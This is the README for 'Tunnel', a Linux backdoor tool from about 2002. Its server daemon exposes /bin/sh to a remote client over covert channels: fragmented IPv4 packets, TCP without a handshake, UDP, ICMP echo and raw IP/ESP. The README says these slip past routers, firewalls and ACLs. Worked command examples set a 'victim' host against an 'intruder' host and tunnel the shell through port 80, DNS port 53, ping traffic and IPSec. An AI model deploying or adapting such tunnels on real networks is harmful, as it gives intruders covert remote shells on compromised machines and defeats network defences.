/* Author: Fryxar (02/17/02) */
/* e-mail: fryxar@yahoo.com.ar */

Tunnel is a program written in C for Linux users that works with a client-server paradigm.  The server opens a /bin/sh  that clients can access though a virtual tunnel.  The following tunnels are supported:

	frag: It use IPv4 fragmented packets to encapsulate data.  When some routers and firewalls (like Cisco routers and default Linux instalation) receives fragmented packets without headers for the fourth layer, they permit pass it even if they have a rule that deny it. You must select layer 4 protocol with flag -o.
	tcp: It establish a virtual TCP connection without use three handshake (usefull when you have a router with ACL or a linux server with ipchains).  It doesn't bind any port, so you can use a port already use it by another process.
	udp: Standard UDP packet.  It doesn't bind any port too, so you can use a port already use it by another process.
	icmp: Standard ICMP packet (echo-reply/echo-request)
	ip: Raw IPv4 packets, you can specific layer 4 protocol with flag -o, if IPSec it's enable you can use "-o esp".

	Because packets are no sequensed, you can use -d flag to be sure that they will be received in order.  Loosed packet are not contemplate (for now)

	My english is very bad, zorry...

Examples:
	Secure Net: 200.0.0.0/24 (no NAT)
	Inside host (victim): 200.0.0.1
	Insecure Net: 100.0.0.0/24
	Outside host (intruder): 100.0.0.1

Example 1:
victim# ./tunneld
intruder# ./tunnel 200.0.0.1
Connecting to 200.0.0.1...done

(type commands you want execute...)


Example 2: Suppose "victim" host can access internet to port 80, so
victim# ./tunneld -t tcp -p 80,2000
intruder# ./tunnel -t tcp -p 80,2000 200.0.0.1
...

Example 3: Suppose "victim" host can query internet DNS servers, so
victim# ./tunneld -t udp -p 53,2000
intruder# ./tunnel -t udp -p 53,2000 200.0.0.1
...

Example 4: Suppose "victim" host can ping internet
victim# ./tunneld -t icmp -m echo-reply,echo
intruder# ./tunnel -t icmp -m echo-reply,echo 200.0.0.1
...

Example 5: Suppose "victim" host connect with IPS which "intruder" host
victim# ./tunneld -t ip -o esp
intruder# ./tunnel -t ip -o esp 200.0.0.1
...


Install:
make (compiled in Redhat 7.1)
